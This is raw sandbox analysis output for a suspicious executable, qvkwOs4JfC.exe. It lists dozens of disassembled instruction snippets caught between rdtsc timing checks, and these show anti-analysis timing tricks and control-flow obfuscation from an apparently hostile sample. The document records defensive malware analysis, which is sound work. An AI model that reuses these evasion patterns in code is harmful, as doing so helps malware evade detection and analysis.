Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2EE91C second address: 2EE922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2EEB86 second address: 2EEB91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0ACC5107E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2EE922 second address: 2EE926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F09F6 second address: 2F09FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F09FC second address: 2F0A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F0A02 second address: 2F0A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F1CA1 second address: 2F1CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jns 00007F0ACCE7DA26h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F2C2F second address: 2F2C8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a jnl 00007F0ACC5107EDh 0x00000010 push 00000000h 0x00000012 mov edi, dword ptr [ebp+122D197Fh] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F0ACC5107E8h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov dword ptr [ebp+12465AF5h], edx 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d jp 00007F0ACC5107F1h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F4B08 second address: 2F4B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 je 00007F0ACCE7DA26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2AFDAC second address: 2AFDCE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b jng 00007F0ACC510815h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0ACC5107EFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F669C second address: 2F672D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0ACCE7DA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d jl 00007F0ACCE7DA26h 0x00000013 pop ebx 0x00000014 jmp 00007F0ACCE7DA2Dh 0x00000019 popad 0x0000001a nop 0x0000001b xor bx, 7D7Bh 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007F0ACCE7DA28h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c push 00000000h 0x0000003e jmp 00007F0ACCE7DA34h 0x00000043 xchg eax, esi 0x00000044 jmp 00007F0ACCE7DA34h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push edx 0x0000004d jmp 00007F0ACCE7DA32h 0x00000052 pop edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F7611 second address: 2F7653 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0ACC5107E8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push edx 0x00000010 add dword ptr [ebp+122D3938h], ecx 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 mov bl, 69h 0x0000001b push 00000000h 0x0000001d mov edi, dword ptr [ebp+122D2B20h] 0x00000023 xchg eax, esi 0x00000024 jmp 00007F0ACC5107EBh 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push edi 0x0000002d jmp 00007F0ACC5107EEh 0x00000032 pop edi 0x00000033 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F6946 second address: 2F6954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACCE7DA2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F86A6 second address: 2F86AB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F96D8 second address: 2F976A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0ACCE7DA2Ch 0x00000008 jnp 00007F0ACCE7DA26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F0ACCE7DA2Eh 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F0ACCE7DA28h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 je 00007F0ACCE7DA29h 0x00000037 mov di, si 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007F0ACCE7DA28h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 0000001Ch 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 mov bl, ah 0x00000058 push 00000000h 0x0000005a jmp 00007F0ACCE7DA35h 0x0000005f xchg eax, esi 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 pushad 0x00000064 popad 0x00000065 push edx 0x00000066 pop edx 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FA829 second address: 2FA82F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FA82F second address: 2FA833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FA833 second address: 2FA837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FA837 second address: 2FA89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F0ACCE7DA28h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 jl 00007F0ACCE7DA26h 0x0000002b push 00000000h 0x0000002d mov ebx, dword ptr [ebp+122D1984h] 0x00000033 push 00000000h 0x00000035 add ebx, 640409FCh 0x0000003b mov edi, 7F0CED05h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jg 00007F0ACCE7DA38h 0x00000049 jmp 00007F0ACCE7DA32h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F986C second address: 2F9872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FA89A second address: 2FA8A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F9872 second address: 2F992F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F0ACC510805h 0x00000010 nop 0x00000011 jmp 00007F0ACC5107F9h 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F0ACC5107E8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 mov dword ptr [ebp+122D386Ch], ebx 0x0000003d mov dword ptr [ebp+122D1DC1h], esi 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a sbb di, 3BE9h 0x0000004f mov eax, dword ptr [ebp+122D0BB9h] 0x00000055 xor dword ptr [ebp+1245559Bh], edi 0x0000005b push FFFFFFFFh 0x0000005d sub edi, 2B59EA09h 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 ja 00007F0ACC5107F5h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F992F second address: 2F993D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACCE7DA2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2F993D second address: 2F9941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FB893 second address: 2FB897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FB897 second address: 2FB8A5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FD8A4 second address: 2FD8AE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0ACCE7DA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FD8AE second address: 2FD8BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F0ACC5107E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FD8BA second address: 2FD8CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b js 00007F0ACCE7DA26h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FD8CD second address: 2FD8D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FD8D2 second address: 2FD912 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0ACCE7DA39h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jng 00007F0ACCE7DA26h 0x00000010 jns 00007F0ACCE7DA26h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F0ACCE7DA33h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FD912 second address: 2FD916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FBA47 second address: 2FBA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F0ACCE7DA26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FBA54 second address: 2FBA7F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jbe 00007F0ACC510805h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0ACC5107F7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2A76E9 second address: 2A76EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 301B2E second address: 301B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FBA7F second address: 2FBB1B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007F0ACCE7DA28h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D195Ah], edx 0x00000027 mov dword ptr [ebp+122D1C1Fh], edi 0x0000002d push dword ptr fs:[00000000h] 0x00000034 mov bx, 7977h 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f xor ebx, dword ptr [ebp+122D2D58h] 0x00000045 sub ebx, 3C49C363h 0x0000004b mov eax, dword ptr [ebp+122D0B09h] 0x00000051 push 00000000h 0x00000053 push edi 0x00000054 call 00007F0ACCE7DA28h 0x00000059 pop edi 0x0000005a mov dword ptr [esp+04h], edi 0x0000005e add dword ptr [esp+04h], 00000015h 0x00000066 inc edi 0x00000067 push edi 0x00000068 ret 0x00000069 pop edi 0x0000006a ret 0x0000006b push FFFFFFFFh 0x0000006d jmp 00007F0ACCE7DA38h 0x00000072 push eax 0x00000073 jnp 00007F0ACCE7DA34h 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 301BF6 second address: 301BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FBB1B second address: 2FBB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 301BFB second address: 301C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F0ACC5107E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 308A18 second address: 308A8D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0ACCE7DA3Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e mov edx, dword ptr [ebp+122D2B4Ch] 0x00000014 mov esi, 31E6A551h 0x00000019 popad 0x0000001a push 00000000h 0x0000001c mov dword ptr [ebp+122D1916h], eax 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007F0ACCE7DA28h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e mov edi, dword ptr [ebp+122D2D48h] 0x00000044 xchg eax, esi 0x00000045 push edi 0x00000046 push ecx 0x00000047 jo 00007F0ACCE7DA26h 0x0000004d pop ecx 0x0000004e pop edi 0x0000004f push eax 0x00000050 push ecx 0x00000051 pushad 0x00000052 push esi 0x00000053 pop esi 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 305581 second address: 305593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0ACC5107EAh 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 305593 second address: 305654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F0ACCE7DA2Bh 0x0000000c nop 0x0000000d push dword ptr fs:[00000000h] 0x00000014 jmp 00007F0ACCE7DA39h 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 mov edi, ebx 0x00000022 mov eax, dword ptr [ebp+122D12B9h] 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007F0ACCE7DA28h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 00000018h 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 jns 00007F0ACCE7DA37h 0x00000048 call 00007F0ACCE7DA30h 0x0000004d mov dword ptr [ebp+122D1E30h], esi 0x00000053 pop ebx 0x00000054 jg 00007F0ACCE7DA2Ch 0x0000005a push FFFFFFFFh 0x0000005c pushad 0x0000005d mov eax, esi 0x0000005f sub ebx, 75C73B32h 0x00000065 popad 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007F0ACCE7DA36h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 302F27 second address: 302F4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F0ACC5107ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 305654 second address: 30565B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 2FE141 second address: 2FE146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 308C16 second address: 308C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 308C1F second address: 308C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 30AA1D second address: 30AA4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 nop 0x00000009 mov bx, cx 0x0000000c push 00000000h 0x0000000e pushad 0x0000000f mov ecx, dword ptr [ebp+122D1C2Bh] 0x00000015 mov esi, dword ptr [ebp+122D2AA0h] 0x0000001b popad 0x0000001c push 00000000h 0x0000001e jbe 00007F0ACCE7DA2Dh 0x00000024 xchg eax, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a pop eax 0x0000002b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 30AA4F second address: 30AA59 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 309D38 second address: 309D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 309D3D second address: 309D43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 309D43 second address: 309D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 309D47 second address: 309D77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACC5107EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007F0ACC5107F6h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 30EDC9 second address: 30EDCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 30EDCF second address: 30EDD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 30EDD3 second address: 30EDD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 3135BD second address: 3135D7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0ACC5107E6h 0x00000008 js 00007F0ACC5107E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F0ACC5107EAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 313752 second address: 313758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 313758 second address: 313762 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0ACC5107E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 313762 second address: 313774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0ACCE7DA2Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 313774 second address: 313778 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 318CFA second address: 318D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F0ACCE7DA26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 318D04 second address: 318D26 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jnc 00007F0ACC5107E6h 0x00000015 jmp 00007F0ACC5107ECh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 318EB7 second address: 318EDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 318EDC second address: 318EE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0ACC5107E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 31DAF7 second address: 31DB39 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0ACCE7DA2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007F0ACCE7DA2Eh 0x00000011 push edi 0x00000012 pop edi 0x00000013 jc 00007F0ACCE7DA26h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0ACCE7DA2Fh 0x00000020 jmp 00007F0ACCE7DA32h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 31D3F4 second address: 31D3FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 31D7DC second address: 31D800 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b je 00007F0ACCE7DA26h 0x00000011 push edx 0x00000012 pop edx 0x00000013 jc 00007F0ACCE7DA26h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jo 00007F0ACCE7DA26h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 31D800 second address: 31D804 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	RDTSC instruction interceptor: First address: 31D804 second address: 31D80A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
